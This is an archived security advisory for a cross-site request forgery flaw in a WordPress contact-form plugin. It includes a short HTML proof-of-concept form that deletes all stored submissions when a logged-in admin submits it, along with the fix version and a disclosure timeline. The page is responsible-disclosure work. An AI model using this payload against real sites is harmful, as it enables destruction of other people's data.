exploit the possibilities

WordPress Contact Form DB 2.8.29 Cross Site Request Forgery

WordPress Contact Form DB 2.8.29 Cross Site Request Forgery
Posted Mar 4, 2015
Authored by Tom Adams

WordPress Contact Form DB plugin version 2.8.29 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-1874
MD5 | ad5faf62121a0565c077d72e64865f8d

WordPress Contact Form DB 2.8.29 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: Contact Form DB
Version: 2.8.29
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/
CVE: CVE-2015-1874
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in Contact Form DB allows attacker to delete all stored form submissions

Vulnerability
================
An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">
<input name=\"all\" type=\"text\" value=\"y\">
<input name=\"delete\" type=\"text\" value=\"y\">
<input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 2.8.32 or later

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-02-05: Discovered
2015-02-17: Reported to vendor by email
2015-02-22: Vendor responded and agreed a schedule for fix
2015-02-23: Vendor published a fix in version 2.8.32
2015-03-04: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    2 Files
  • 2
    Mar 2nd
    18 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    12 Files
  • 5
    Mar 5th
    19 Files
  • 6
    Mar 6th
    8 Files
  • 7
    Mar 7th
    1 Files
  • 8
    Mar 8th
    1 Files
  • 9
    Mar 9th
    11 Files
  • 10
    Mar 10th
    15 Files
  • 11
    Mar 11th
    9 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    13 Files
  • 14
    Mar 14th
    10 Files
  • 15
    Mar 15th
    13 Files
  • 16
    Mar 16th
    27 Files
  • 17
    Mar 17th
    15 Files
  • 18
    Mar 18th
    23 Files
  • 19
    Mar 19th
    25 Files
  • 20
    Mar 20th
    10 Files
  • 21
    Mar 21st
    6 Files
  • 22
    Mar 22nd
    1 Files
  • 23
    Mar 23rd
    22 Files
  • 24
    Mar 24th
    15 Files
  • 25
    Mar 25th
    23 Files
  • 26
    Mar 26th
    20 Files
  • 27
    Mar 27th
    15 Files
  • 28
    Mar 28th
    10 Files
  • 29
    Mar 29th
    1 Files
  • 30
    Mar 30th
    18 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close